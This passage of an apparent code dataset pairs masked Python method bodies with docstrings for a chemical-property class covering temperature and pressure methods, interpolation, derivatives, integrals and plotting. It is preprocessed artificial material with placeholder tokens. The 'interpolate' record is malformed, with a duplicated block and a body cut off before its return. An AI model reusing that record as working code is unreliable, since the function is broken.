On success, the used method\n        is stored in the variable `method`.\n\n        If `method` is set, this method is first checked for validity with\n        `test_method_validity` for the specified temperature, and if it is\n        valid, it is then used to calculate the property. The result is checked\n        for validity, and returned if it is valid. If either of the checks fail,\n        the function retrieves a full list of valid methods with\n        `select_valid_methods` and attempts them as described above.\n\n        If no methods are found which succeed, returns None.\n\n        Parameters\n        ----------\n        T : float\n            Temperature at which to calculate the property, [K]\n\n        Returns\n        -------\n        prop : float\n            Calculated property, [`units`]", "id": "f15806:c0:m6"}
{"signature": "def plot_T_dependent_property(self, Tmin=None, Tmax=None, methods=[],<EOL>pts=<NUM_LIT:50>, only_valid=True, order=<NUM_LIT:0>):  ", "body": "<EOL>if not has_matplotlib:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>if Tmin is None:<EOL><INDENT>if self.Tmin is not None:<EOL><INDENT>Tmin = self.Tmin<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT><DEDENT>if Tmax is None:<EOL><INDENT>if self.Tmax is not None:<EOL><INDENT>Tmax = self.Tmax<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT><DEDENT>if not methods:<EOL><INDENT>if self.user_methods:<EOL><INDENT>methods = self.user_methods<EOL><DEDENT>else:<EOL><INDENT>methods = self.all_methods<EOL><DEDENT><DEDENT>Ts = np.linspace(Tmin, Tmax, pts)<EOL>if order == <NUM_LIT:0>:<EOL><INDENT>for method in methods:<EOL><INDENT>if only_valid:<EOL><INDENT>properties, Ts2 = [], []<EOL>for T in Ts:<EOL><INDENT>if self.test_method_validity(T, method):<EOL><INDENT>try:<EOL><INDENT>p = self.calculate(T=T, method=method)<EOL>if self.test_property_validity(p):<EOL><INDENT>properties.append(p)<EOL>Ts2.append(T)<EOL><DEDENT><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>plt.semilogy(Ts2, properties, label=method)<EOL><DEDENT>else:<EOL><INDENT>properties = [self.calculate(T=T, method=method) for T in Ts]<EOL>plt.semilogy(Ts, properties, label=method)<EOL><DEDENT><DEDENT>plt.ylabel(self.name + '<STR_LIT:U+002CU+0020>' + self.units)<EOL>plt.title(self.name + '<STR_LIT>' + self.CASRN)<EOL><DEDENT>elif order > <NUM_LIT:0>:<EOL><INDENT>for method in methods:<EOL><INDENT>if only_valid:<EOL><INDENT>properties, Ts2 = [], []<EOL>for T in Ts:<EOL><INDENT>if self.test_method_validity(T, method):<EOL><INDENT>try:<EOL><INDENT>p = self.calculate_derivative(T=T, method=method, order=order)<EOL>properties.append(p)<EOL>Ts2.append(T)<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>plt.semilogy(Ts2, properties, label=method)<EOL><DEDENT>else:<EOL><INDENT>properties = [self.calculate_derivative(T=T, method=method, order=order) for T in Ts]<EOL>plt.semilogy(Ts, properties, label=method)<EOL><DEDENT><DEDENT>plt.ylabel(self.name + '<STR_LIT:U+002CU+0020>' + self.units + '<STR_LIT>' % (order, order))<EOL>plt.title(self.name + '<STR_LIT>' % order + '<STR_LIT>' + self.CASRN)<EOL><DEDENT>plt.legend(loc='<STR_LIT>')<EOL>plt.xlabel('<STR_LIT>')<EOL>plt.show()<EOL>", "docstring": "r'''Method to create a plot of the property vs temperature according to\n        either a specified list of methods, or user methods (if set), or all\n        methods. User-selectable number of points, and temperature range. If\n        only_valid is set,`test_method_validity` will be used to check if each\n        temperature in the specified range is valid, and\n        `test_property_validity` will be used to test the answer, and the\n        method is allowed to fail; only the valid points will be plotted.\n        Otherwise, the result will be calculated and displayed as-is. This will\n        not suceed if the method fails.\n\n        Parameters\n        ----------\n        Tmin : float\n            Minimum temperature, to begin calculating the property, [K]\n        Tmax : float\n            Maximum temperature, to stop calculating the property, [K]\n        methods : list, optional\n            List of methods to consider\n        pts : int, optional\n            A list of points to calculate the property at; if Tmin to Tmax\n            covers a wide range of method validities, only a few points may end\n            up calculated for a given method so this may need to be large\n        only_valid : bool\n            If True, only plot successful methods and calculated properties,\n            and handle errors; if False, attempt calculation without any\n            checking and use methods outside their bounds", "id": "f15806:c0:m7"}
{"signature": "def interpolate(self, T, name):", "body": "key = (name, self.interpolation_T, self.interpolation_property, self.interpolation_property_inv)<EOL><INDENT>if isinstance(self.tabular_data_interpolators, dict) and key in self.tabular_data_interpolators:<EOL><INDENT>extrapolator, spline = self.tabular_data_interpolators[key]<EOL><DEDENT><DEDENT>if key in self.tabular_data_interpolators:<EOL><INDENT>extrapolator, spline = self.tabular_data_interpolators[key]<EOL><DEDENT>else:<EOL><INDENT>Ts, properties = self.tabular_data[name]<EOL>if self.interpolation_T:  <EOL><INDENT>Ts2 = [self.interpolation_T(T2) for T2 in Ts]<EOL><DEDENT>else:<EOL><INDENT>Ts2 = Ts<EOL><DEDENT>if self.interpolation_property:  <EOL><INDENT>properties2 = [self.interpolation_property(p) for p in properties]<EOL><DEDENT>else:<EOL><INDENT>properties2 = properties<EOL><DEDENT>extrapolator = interp1d(Ts2, properties2, fill_value='<STR_LIT>')<EOL>if len(properties) >= <NUM_LIT:5>:<EOL><INDENT>spline = interp1d(Ts2, properties2, kind='<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>spline = None<EOL>", "docstring": "r'''Method to perform interpolation on a given tabular data set\n        previously added via :obj:`set_tabular_data`. This method will create the\n        interpolators the first time it is used on a property set, and store\n        them for quick future use.\n\n        Interpolation is cubic-spline based if 5 or more points are available,\n        and linearly interpolated if not. Extrapolation is always performed\n        linearly. This function uses the transforms `interpolation_T`,\n        `interpolation_property`, and `interpolation_property_inv` if set. If\n        any of these are changed after the interpolators were first created,\n        new interpolators are created with the new transforms.\n        All interpolation is performed via the `interp1d` function.\n\n        Parameters\n        ----------\n        T : float\n            Temperature at which to interpolate the property, [K]\n        name : str\n            The name assigned to the tabular data set\n\n        Returns\n        -------\n        prop : float\n            Calculated property, [`units`]", "id": "f15806:c0:m9"}
{"signature": "def set_tabular_data(self, Ts, properties, name=None, check_properties=True):", "body": "<EOL>if check_properties:<EOL><INDENT>for p in properties:<EOL><INDENT>if not self.test_property_validity(p):<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT><DEDENT><DEDENT>if not all(b > a for a, b in zip(Ts, Ts[<NUM_LIT:1>:])):<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>if name is None:<EOL><INDENT>name = '<STR_LIT>' + str(len(self.tabular_data))  <EOL><DEDENT>self.tabular_data[name] = (Ts, properties)<EOL>self.method = None<EOL>self.user_methods.insert(<NUM_LIT:0>, name)<EOL>self.all_methods.add(name)<EOL>self.set_user_methods(user_methods=self.user_methods, forced=self.forced)<EOL>", "docstring": "r'''Method to set tabular data to be used for interpolation.\n        Ts must be in increasing order. If no name is given, data will be\n        assigned the name 'Tabular data series #x', where x is the number of\n        previously added tabular data series. The name is added to all\n        methods and iserted at the start of user methods,\n\n        Parameters\n        ----------\n        Ts : array-like\n            Increasing array of temperatures at which properties are specified, [K]\n        properties : array-like\n            List of properties at Ts, [`units`]\n        name : str, optional\n            Name assigned to the data\n        check_properties : bool\n            If True, the properties will be checked for validity with\n            `test_property_validity` and raise an exception if any are not\n            valid", "id": "f15806:c0:m10"}
{"signature": "def solve_prop(self, goal, reset_method=True):", "body": "if self.Tmin is None or self.Tmax is None:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>if not self.test_property_validity(goal):<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>def error(T):<EOL><INDENT>if reset_method:<EOL><INDENT>self.method = None<EOL><DEDENT>return self.T_dependent_property(T) - goal<EOL><DEDENT>try:<EOL><INDENT>return brenth(error, self.Tmin, self.Tmax)<EOL><DEDENT>except ValueError:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>", "docstring": "r'''Method to solve for the temperature at which a property is at a\n        specified value. `T_dependent_property` is used to calculate the value\n        of the property as a function of temperature; if `reset_method` is True,\n        the best method is used at each temperature as the solver seeks a\n        solution. This slows the solution moderately.\n\n        Checks the given property value with `test_property_validity` first\n        and raises an exception if it is not valid. Requires that Tmin and\n        Tmax have been set to know what range to search within.\n\n        Search is performed with the brenth solver from SciPy.\n\n        Parameters\n        ----------\n        goal : float\n            Propoerty value desired, [`units`]\n        reset_method : bool\n            Whether or not to reset the method as the solver searches\n\n        Returns\n        -------\n        T : float\n            Temperature at which the property is the specified value [K]", "id": "f15806:c0:m11"}
{"signature": "def calculate_derivative(self, T, method, order=<NUM_LIT:1>):", "body": "return derivative(self.calculate, T, dx=<NUM_LIT>, args=[method], n=order, order=<NUM_LIT:1>+order*<NUM_LIT:2>)<EOL>", "docstring": "r'''Method to calculate a derivative of a property with respect to \n        temperature, of a given order  using a specified method. Uses SciPy's \n        derivative function, with a delta of 1E-6 K and a number of points \n        equal to 2*order + 1.\n\n        This method can be overwritten by subclasses who may perfer to add\n        analytical methods for some or all methods as this is much faster.\n\n        If the calculation does not succeed, returns the actual error\n        encountered.\n\n        Parameters\n        ----------\n        T : float\n            Temperature at which to calculate the derivative, [K]\n        method : str\n            Method for which to find the derivative\n        order : int\n            Order of the derivative, >= 1\n\n        Returns\n        -------\n        derivative : float\n            Calculated derivative property, [`units/K^order`]", "id": "f15806:c0:m12"}
{"signature": "def T_dependent_property_derivative(self, T, order=<NUM_LIT:1>):", "body": "if self.method:<EOL><INDENT>if self.test_method_validity(T, self.method):<EOL><INDENT>try:<EOL><INDENT>return self.calculate_derivative(T, self.method, order)<EOL><DEDENT>except:  <EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>sorted_valid_methods = self.select_valid_methods(T)<EOL>for method in sorted_valid_methods:<EOL><INDENT>try:<EOL><INDENT>return self.calculate_derivative(T, method, order)<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "r'''Method to obtain a derivative of a property with respect to \n        temperature, of a given order. Methods found valid by \n        `select_valid_methods` are attempted until a method succeeds. If no \n        methods are valid and succeed, None is returned.\n\n        Calls `calculate_derivative` internally to perform the actual\n        calculation.\n\n        .. math::\n            \\text{derivative} = \\frac{d (\\text{property})}{d T}\n\n        Parameters\n        ----------\n        T : float\n            Temperature at which to calculate the derivative, [K]\n        order : int\n            Order of the derivative, >= 1\n\n        Returns\n        -------\n        derivative : float\n            Calculated derivative property, [`units/K^order`]", "id": "f15806:c0:m13"}
{"signature": "def calculate_integral(self, T1, T2, method):", "body": "return float(quad(self.calculate, T1, T2, args=(method))[<NUM_LIT:0>])<EOL>", "docstring": "r'''Method to calculate the integral of a property with respect to\n        temperature, using a specified method. Uses SciPy's `quad` function\n        to perform the integral, with no options.\n\n        This method can be overwritten by subclasses who may perfer to add\n        analytical methods for some or all methods as this is much faster.\n\n        If the calculation does not succeed, returns the actual error\n        encountered.\n\n        Parameters\n        ----------\n        T1 : float\n            Lower limit of integration, [K]\n        T2 : float\n            Upper limit of integration, [K]\n        method : str\n            Method for which to find the integral\n\n        Returns\n        -------\n        integral : float\n            Calculated integral of the property over the given range, \n            [`units*K`]", "id": "f15806:c0:m14"}
{"signature": "def T_dependent_property_integral(self, T1, T2):", "body": "Tavg = <NUM_LIT:0.5>*(T1+T2)<EOL>if self.method:<EOL><INDENT>if self.test_method_validity(Tavg, self.method):<EOL><INDENT>try:<EOL><INDENT>return self.calculate_integral(T1, T2, self.method)<EOL><DEDENT>except:  <EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>sorted_valid_methods = self.select_valid_methods(Tavg)<EOL>for method in sorted_valid_methods:<EOL><INDENT>try:<EOL><INDENT>return self.calculate_integral(T1, T2, method)<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "r'''Method to calculate the integral of a property with respect to\n        temperature, using a specified method. Methods found valid by \n        `select_valid_methods` are attempted until a method succeeds. If no \n        methods are valid and succeed, None is returned.\n\n        Calls `calculate_integral` internally to perform the actual\n        calculation.\n\n        .. math::\n            \\text{integral} = \\int_{T_1}^{T_2} \\text{property} \\; dT\n\n        Parameters\n        ----------\n        T1 : float\n            Lower limit of integration, [K]\n        T2 : float\n            Upper limit of integration, [K]\n        method : str\n            Method for which to find the integral\n\n        Returns\n        -------\n        integral : float\n            Calculated integral of the property over the given range, \n            [`units*K`]", "id": "f15806:c0:m15"}
{"signature": "def calculate_integral_over_T(self, T1, T2, method):", "body": "return float(quad(lambda T: self.calculate(T, method)/T, T1, T2)[<NUM_LIT:0>])<EOL>", "docstring": "r'''Method to calculate the integral of a property over temperature\n        with respect to temperature, using a specified method. Uses SciPy's \n        `quad` function to perform the integral, with no options.\n\n        This method can be overwritten by subclasses who may perfer to add\n        analytical methods for some or all methods as this is much faster.\n\n        If the calculation does not succeed, returns the actual error\n        encountered.\n\n        Parameters\n        ----------\n        T1 : float\n            Lower limit of integration, [K]\n        T2 : float\n            Upper limit of integration, [K]\n        method : str\n            Method for which to find the integral\n\n        Returns\n        -------\n        integral : float\n            Calculated integral of the property over the given range, \n            [`units`]", "id": "f15806:c0:m16"}
{"signature": "def T_dependent_property_integral_over_T(self, T1, T2):", "body": "Tavg = <NUM_LIT:0.5>*(T1+T2)<EOL>if self.method:<EOL><INDENT>if self.test_method_validity(Tavg, self.method):<EOL><INDENT>try:<EOL><INDENT>return self.calculate_integral_over_T(T1, T2, self.method)<EOL><DEDENT>except:  <EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>sorted_valid_methods = self.select_valid_methods(Tavg)<EOL>for method in sorted_valid_methods:<EOL><INDENT>try:<EOL><INDENT>return self.calculate_integral_over_T(T1, T2, method)<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "r'''Method to calculate the integral of a property over temperature \n        with respect to temperature, using a specified method. Methods found\n        valid by `select_valid_methods` are attempted until a method succeeds. \n        If no methods are valid and succeed, None is returned.\n\n        Calls `calculate_integral_over_T` internally to perform the actual\n        calculation.\n\n        .. math::\n            \\text{integral} = \\int_{T_1}^{T_2} \\frac{\\text{property}}{T} \\; dT\n\n        Parameters\n        ----------\n        T1 : float\n            Lower limit of integration, [K]\n        T2 : float\n            Upper limit of integration, [K]\n        method : str\n            Method for which to find the integral\n\n        Returns\n        -------\n        integral : float\n            Calculated integral of the property over the given range, \n            [`units`]", "id": "f15806:c0:m17"}
{"signature": "def __init__(self, CASRN='<STR_LIT>'):", "body": "self.CASRN = CASRN<EOL>self.load_all_methods()<EOL>self.ranked_methods = [TEST_METHOD_2, TEST_METHOD_1]  <EOL>self.tabular_data = {}<EOL>self.tabular_data_interpolators = {}<EOL>self.sorted_valid_methods = []<EOL>self.user_methods = []<EOL>", "docstring": "Create an instance of TDependentProperty. Should be overwritten by\n        a method created specific to a property. Should take all constant\n        properties on creation.\n\n        Attributes\n        ----------", "id": "f15806:c0:m18"}
{"signature": "def load_all_methods(self):", "body": "methods = []<EOL>Tmins, Tmaxs = [], []<EOL>if self.CASRN in ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>methods.append(TEST_METHOD_1)<EOL>self.TEST_METHOD_1_Tmin = <NUM_LIT><EOL>self.TEST_METHOD_1_Tmax = <NUM_LIT><EOL>self.TEST_METHOD_1_coeffs = [<NUM_LIT:1>, <NUM_LIT>]<EOL>Tmins.append(self.TEST_METHOD_1_Tmin); Tmaxs.append(self.TEST_METHOD_1_Tmax)<EOL><DEDENT>if self.CASRN in ['<STR_LIT>']:<EOL><INDENT>methods.append(TEST_METHOD_2)<EOL>self.TEST_METHOD_2_Tmin = <NUM_LIT><EOL>self.TEST_METHOD_2_Tmax = <NUM_LIT><EOL>self.TEST_METHOD_2_coeffs = [<NUM_LIT:1>, <NUM_LIT>]<EOL>Tmins.append(self.TEST_METHOD_2_Tmin); Tmaxs.append(self.TEST_METHOD_2_Tmax)<EOL><DEDENT>self.all_methods = set(methods)<EOL>if Tmins and Tmaxs:<EOL><INDENT>self.Tmin = min(Tmins)<EOL>self.Tmax = max(Tmaxs)<EOL><DEDENT>", "docstring": "r'''Method to load all data, and set all_methods based on the available\n        data and properties. Demo function for testing only; must be\n        implemented according to the methods available for each individual\n        method.", "id": "f15806:c0:m19"}
{"signature": "def calculate(self, T, method):", "body": "if method == TEST_METHOD_1:<EOL><INDENT>prop = self.TEST_METHOD_1_coeffs[<NUM_LIT:0>] + self.TEST_METHOD_1_coeffs[<NUM_LIT:1>]*T<EOL><DEDENT>elif method == TEST_METHOD_2:<EOL><INDENT>prop = self.TEST_METHOD_2_coeffs[<NUM_LIT:0>] + self.TEST_METHOD_2_coeffs[<NUM_LIT:1>]*T<EOL><DEDENT>elif method in self.tabular_data:<EOL><INDENT>prop = self.interpolate(T, method)<EOL><DEDENT>return prop<EOL>", "docstring": "r'''Method to calculate a property with a specified method, with no\n        validity checking or error handling. Demo function for testing only;\n        must be implemented according to the methods available for each\n        individual method. Include the interpolation call here.\n\n        Parameters\n        ----------\n        T : float\n            Temperature at which to calculate the property, [K]\n        method : str\n            Method name to use\n\n        Returns\n        -------\n        prop : float\n            Calculated property, [`units`]", "id": "f15806:c0:m20"}
{"signature": "def __call__(self, T, P):", "body": "if (T, P) == self.TP_cached:<EOL><INDENT>return self.prop_cached<EOL><DEDENT>else:<EOL><INDENT>self.prop_cached = self.TP_or_T_dependent_property(T, P)<EOL>self.TP_cached = (T, P)<EOL>return self.prop_cached<EOL><DEDENT>", "docstring": "r'''Convenience method to calculate the property; calls \n        :obj:`TP_dependent_property`. Caches previously calculated value,\n        which is an overhead when calculating many different values of\n        a property. See :obj:`TP_dependent_property` for more details as to the\n        calculation procedure.\n\n        Parameters\n        ----------\n        T : float\n            Temperature at which to calculate the property, [K]\n        P : float\n            Pressure at which to calculate the property, [Pa]\n\n        Returns\n        -------\n        prop : float\n            Calculated property, [`units`]", "id": "f15806:c1:m0"}
{"signature": "def set_user_methods_P(self, user_methods_P, forced_P=False):", "body": "<EOL>if isinstance(user_methods_P, str):<EOL><INDENT>user_methods_P = [user_methods_P]<EOL><DEDENT>self.user_methods_P = user_methods_P<EOL>self.forced_P = forced_P<EOL>if set(self.user_methods_P).difference(self.all_methods_P):<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>if not self.user_methods_P and self.forced:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>self.method_P = None<EOL>self.sorted_valid_methods_P = []<EOL>self.TP_cached = None<EOL>", "docstring": "r'''Method to set the pressure-dependent property methods desired for\n        consideration by the user. Can be used to exclude certain methods which\n        might have unacceptable accuracy.\n\n        As a side effect, the previously selected method is removed when\n        this method is called to ensure user methods are tried in the desired\n        order.\n\n        Parameters\n        ----------\n        user_methods_P : str or list\n            Methods by name to be considered or preferred for pressure effect.\n        forced : bool, optional\n            If True, only the user specified methods will ever be considered;\n            if False other methods will be considered if no user methods\n            suceed.", "id": "f15806:c1:m1"}
{"signature": "def select_valid_methods_P(self, T, P):", "body": "<EOL>if self.forced_P:<EOL><INDENT>considered_methods = list(self.user_methods_P)<EOL><DEDENT>else:<EOL><INDENT>considered_methods = list(self.all_methods_P)<EOL><DEDENT>if self.user_methods_P:<EOL><INDENT>[considered_methods.remove(i) for i in self.user_methods_P]<EOL><DEDENT>preferences = sorted([self.ranked_methods_P.index(i) for i in considered_methods])<EOL>sorted_methods = [self.ranked_methods_P[i] for i in preferences]<EOL>if self.user_methods_P:<EOL><INDENT>[sorted_methods.insert(<NUM_LIT:0>, i) for i in reversed(self.user_methods_P)]<EOL><DEDENT>sorted_valid_methods_P = []<EOL>for method in sorted_methods:<EOL><INDENT>if self.test_method_validity_P(T, P, method):<EOL><INDENT>sorted_valid_methods_P.append(method)<EOL><DEDENT><DEDENT>return sorted_valid_methods_P<EOL>", "docstring": "r'''Method to obtain a sorted list methods which are valid at `T`\n        according to `test_method_validity`. Considers either only user methods\n        if forced is True, or all methods. User methods are first tested\n        according to their listed order, and unless forced is True, then all\n        methods are tested and sorted by their order in `ranked_methods`.\n\n        Parameters\n        ----------\n        T : float\n            Temperature at which to test methods, [K]\n        P : float\n            Pressure at which to test methods, [Pa]\n\n        Returns\n        -------\n        sorted_valid_methods_P : list\n            Sorted lists of methods valid at T and P according to\n            `test_method_validity`", "id": "f15806:c1:m2"}
{"signature": "def TP_dependent_property(self, T, P):", "body": "<EOL>if self.method_P:<EOL><INDENT>if self.test_method_validity_P(T, P, self.method_P):<EOL><INDENT>try:<EOL><INDENT>prop = self.calculate_P(T, P, self.method_P)<EOL>if self.test_property_validity(prop):<EOL><INDENT>return prop<EOL><DEDENT><DEDENT>except:  <EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>self.sorted_valid_methods_P = self.select_valid_methods_P(T, P)<EOL>for method_P in self.sorted_valid_methods_P:<EOL><INDENT>try:<EOL><INDENT>prop = self.calculate_P(T, P, method_P)<EOL>if self.test_property_validity(prop):<EOL><INDENT>self.method_P = method_P<EOL>return prop<EOL><DEDENT><DEDENT>except:  <EOL><INDENT>pass<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "r'''Method to calculate the property with sanity checking and without\n        specifying a specific method. `select_valid_methods_P` is used to obtain\n        a sorted list of methods to try. Methods are then tried in order until\n        one succeeds. The methods are allowed to fail, and their results are\n        checked with `test_property_validity`. On success, the used method\n        is stored in the variable `method_P`.\n\n        If `method_P` is set, this method is first checked for validity with\n        `test_method_validity_P` for the specified temperature, and if it is\n        valid, it is then used to calculate the property. The result is checked\n        for validity, and returned if it is valid. If either of the checks fail,\n        the function retrieves a full list of valid methods with\n        `select_valid_methods_P` and attempts them as described above.\n\n        If no methods are found which succeed, returns None.\n\n        Parameters\n        ----------\n        T : float\n            Temperature at which to calculate the property, [K]\n        P : float\n            Pressure at which to calculate the property, [Pa]\n\n        Returns\n        -------\n        prop : float\n            Calculated property, [`units`]", "id": "f15806:c1:m3"}
{"signature": "def set_tabular_data_P(self, Ts, Ps, properties, name=None, check_properties=True):", "body": "<EOL>if check_properties:<EOL><INDENT>for p in np.array(properties).ravel():<EOL><INDENT>if not self.test_property_validity(p):<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT><DEDENT><DEDENT>if not all(b > a for a, b in zip(Ts, Ts[<NUM_LIT:1>:])):<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>if not all(b > a for a, b in zip(Ps, Ps[<NUM_LIT:1>:])):<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>if name is None:<EOL><INDENT>name = '<STR_LIT>' + str(len(self.tabular_data))  <EOL><DEDENT>self.tabular_data[name] = (Ts, Ps, properties)<EOL>self.method_P = None<EOL>self.user_methods_P.insert(<NUM_LIT:0>, name)<EOL>self.all_methods_P.add(name)<EOL>self.set_user_methods_P(user_methods_P=self.user_methods_P, forced_P=self.forced_P)<EOL>", "docstring": "r'''Method to set tabular data to be used for interpolation.\n        Ts and Psmust be in increasing order. If no name is given, data will be\n        assigned the name 'Tabular data series #x', where x is the number of\n        previously added tabular data series. The name is added to all\n        methods and is inserted at the start of user methods,\n\n        Parameters\n        ----------\n        Ts : array-like\n            Increasing array of temperatures at which properties are specified, [K]\n        Ps : array-like\n            Increasing array of pressures at which properties are specified, [Pa]\n        properties : array-like\n            List of properties at Ts, [`units`]\n        name : str, optional\n            Name assigned to the data\n        check_properties : bool\n            If True, the properties will be checked for validity with\n            `test_property_validity` and raise an exception if any are not\n            valid", "id": "f15806:c1:m5"}
{"signature": "def interpolate_P(self, T, P, name):", "body": "key = (name, self.interpolation_T, self.interpolation_P, self.interpolation_property, self.interpolation_property_inv)<EOL>if key in self.tabular_data_interpolators:<EOL><INDENT>extrapolator, spline = self.tabular_data_interpolators[key]<EOL><DEDENT>else:<EOL><INDENT>Ts, Ps, properties = self.tabular_data[name]<EOL>if self.interpolation_T:  <EOL><INDENT>Ts2 = [self.interpolation_T(T2) for T2 in Ts]<EOL><DEDENT>else:<EOL><INDENT>Ts2 = Ts<EOL><DEDENT>if self.interpolation_P:  <EOL><INDENT>Ps2 = [self.interpolation_P(P2) for P2 in Ps]<EOL><DEDENT>else:<EOL><INDENT>Ps2 = Ps<EOL><DEDENT>if self.interpolation_property:  <EOL><INDENT>properties2 = [self.interpolation_property(p) for p in properties]<EOL><DEDENT>else:<EOL><INDENT>properties2 = properties<EOL><DEDENT>extrapolator = interp2d(Ts2, Ps2, properties2)  <EOL>if len(properties) >= <NUM_LIT:5>:<EOL><INDENT>spline = interp2d(Ts2, Ps2, properties2, kind='<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>spline = None<EOL><DEDENT>self.tabular_data_interpolators[key] = (extrapolator, spline)<EOL><DEDENT>Ts, Ps, properties = self.tabular_data[name]<EOL>if T < Ts[<NUM_LIT:0>] or T > Ts[-<NUM_LIT:1>] or not spline or P < Ps[<NUM_LIT:0>] or P > Ps[-<NUM_LIT:1>]:<EOL><INDENT>tool = extrapolator<EOL><DEDENT>else:<EOL><INDENT>tool = spline<EOL><DEDENT>if self.interpolation_T:<EOL><INDENT>T = self.interpolation_T(T)<EOL><DEDENT>if self.interpolation_P:<EOL><INDENT>P = self.interpolation_T(P)<EOL><DEDENT>prop = tool(T, P)  <EOL>if self.interpolation_property:<EOL><INDENT>prop = self.interpolation_property_inv(prop)<EOL><DEDENT>return float(prop)<EOL>", "docstring": "r'''Method to perform interpolation on a given tabular data set\n        previously added via `set_tabular_data_P`. This method will create the\n        interpolators the first time it is used on a property set, and store\n        them for quick future use.\n\n        Interpolation is cubic-spline based if 5 or more points are available,\n        and linearly interpolated if not. Extrapolation is always performed\n        linearly. This function uses the transforms `interpolation_T`,\n        `interpolation_P`,\n        `interpolation_property`, and `interpolation_property_inv` if set. If\n        any of these are changed after the interpolators were first created,\n        new interpolators are created with the new transforms.\n        All interpolation is performed via the `interp2d` function.\n\n        Parameters\n        ----------\n        T : float\n            Temperature at which to interpolate the property, [K]\n        T : float\n            Pressure at which to interpolate the property, [Pa]\n        name : str\n            The name assigned to the tabular data set\n\n        Returns\n        -------\n        prop : float\n            Calculated property, [`units`]", "id": "f15806:c1:m6"}
{"signature": "def plot_isotherm(self, T, Pmin=None, Pmax=None, methods_P=[], pts=<NUM_LIT:50>,<EOL>only_valid=True):  ", "body": "<EOL>if not has_matplotlib:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>if Pmin is None:<EOL><INDENT>if self.Pmin is not None:<EOL><INDENT>Pmin = self.Pmin<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT><DEDENT>if Pmax is None:<EOL><INDENT>if self.Pmax is not None:<EOL><INDENT>Pmax = self.Pmax<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT><DEDENT>if not methods_P:<EOL><INDENT>if self.user_methods_P:<EOL><INDENT>methods_P = self.user_methods_P<EOL><DEDENT>else:<EOL><INDENT>methods_P = self.all_methods_P<EOL><DEDENT><DEDENT>Ps = np.linspace(Pmin, Pmax, pts)<EOL>for method_P in methods_P:<EOL><INDENT>if only_valid:<EOL><INDENT>properties, Ps2 = [], []<EOL>for P in Ps:<EOL><INDENT>if self.test_method_validity_P(T, P, method_P):<EOL><INDENT>try:<EOL><INDENT>p = self.calculate_P(T, P, method_P)<EOL>if self.test_property_validity(p):<EOL><INDENT>properties.append(p)<EOL>Ps2.append(P)<EOL><DEDENT><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>plt.plot(Ps2, properties, label=method_P)<EOL><DEDENT>else:<EOL><INDENT>properties = [self.calculate_P(T, P, method_P) for P in Ps]<EOL>plt.plot(Ps, properties, label=method_P)<EOL><DEDENT><DEDENT>plt.legend(loc='<STR_LIT>')<EOL>plt.ylabel(self.name + '<STR_LIT:U+002CU+0020>' + self.units)<EOL>plt.xlabel('<STR_LIT>')<EOL>plt.title(self.name + '<STR_LIT>' + self.CASRN)<EOL>plt.show()<EOL>", "docstring": "r'''Method to create a plot of the property vs pressure at a specified\n        temperature according to either a specified list of methods, or the \n        user methods (if set), or all methods. User-selectable number of \n        points, and pressure range. If only_valid is set,\n        `test_method_validity_P` will be used to check if each condition in \n        the specified range is valid, and `test_property_validity` will be used\n        to test the answer, and the method is allowed to fail; only the valid \n        points will be plotted. Otherwise, the result will be calculated and \n        displayed as-is. This will not suceed if the method fails.\n\n        Parameters\n        ----------\n        T : float\n            Temperature at which to create the plot, [K]\n        Pmin : float\n            Minimum pressure, to begin calculating the property, [Pa]\n        Pmax : float\n            Maximum pressure, to stop calculating the property, [Pa]\n        methods_P : list, optional\n            List of methods to consider\n        pts : int, optional\n            A list of points to calculate the property at; if Pmin to Pmax\n            covers a wide range of method validities, only a few points may end\n            up calculated for a given method so this may need to be large\n        only_valid : bool\n            If True, only plot successful methods and calculated properties,\n            and handle errors; if False, attempt calculation without any\n            checking and use methods outside their bounds", "id": "f15806:c1:m7"}
